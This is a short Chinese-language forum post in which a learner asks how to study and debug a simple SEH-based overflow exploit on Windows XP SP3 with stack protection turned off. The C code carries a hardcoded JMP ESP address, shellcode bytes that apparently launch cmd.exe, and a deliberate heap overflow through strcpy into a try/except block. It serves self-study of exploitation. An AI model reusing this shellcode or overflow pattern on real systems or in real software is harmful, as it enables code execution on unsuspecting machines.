不懂SEH呀

我是用xp sp3 繁中 已經關閉了VS本身的GS 防overflow機製  不知道xp sp3下的seh有沒有另外一些安全加密?
我現在要最簡單的seh 來學習

#include <stdio.h>
#include <string.h>
#include <windows.h>
//1029F280
//7C86467B
//00415930
//0041599c
char* JMPESP="\x7B\x46\x86\x7C";
//char* JMPESP="\x7B\x46\x86\x7C";

unsigned char shellcode[]="\x8B\xEC\x68\x65\x78\x65\x20\x68\x63\x6D\x64\x2E\x36\x8D\x45\xF8\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\xB8\xFA\xCA\x81\x7C\xFF\xD0";

DWORD MyExceptionHandler(void)
{
        printf("in except handler...\n");
        ExitProcess(1);
        return 0;
}

int main(int argv , char* argc){

        char *buf2=malloc(20);
    char *buf1=malloc(20);
        long diff=0;
       

        printf("buf1 address is : %p\n", buf1);
        printf("buf2 address is : %p\n", buf2);
        diff=(long)buf1-(long)buf2;

        printf("buf1 - buf2 address is : %d\n", diff);
        __try{
        strcpy(buf2+108, "NOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOPNOP");
        strcat(buf2, shellcode);
       
       
        }
        __except(MyExceptionHandler())
        {

                printf("oops...\n");
        }
// ((void (_stdcall*)())&shellcode[0])();
       
       
        printf("buf1 is: %s\n", buf1);
        printf("buf2 is: %s\n", buf2);

        printf("here \n");
        system("pause");

        return 0;
}

如何調試呀??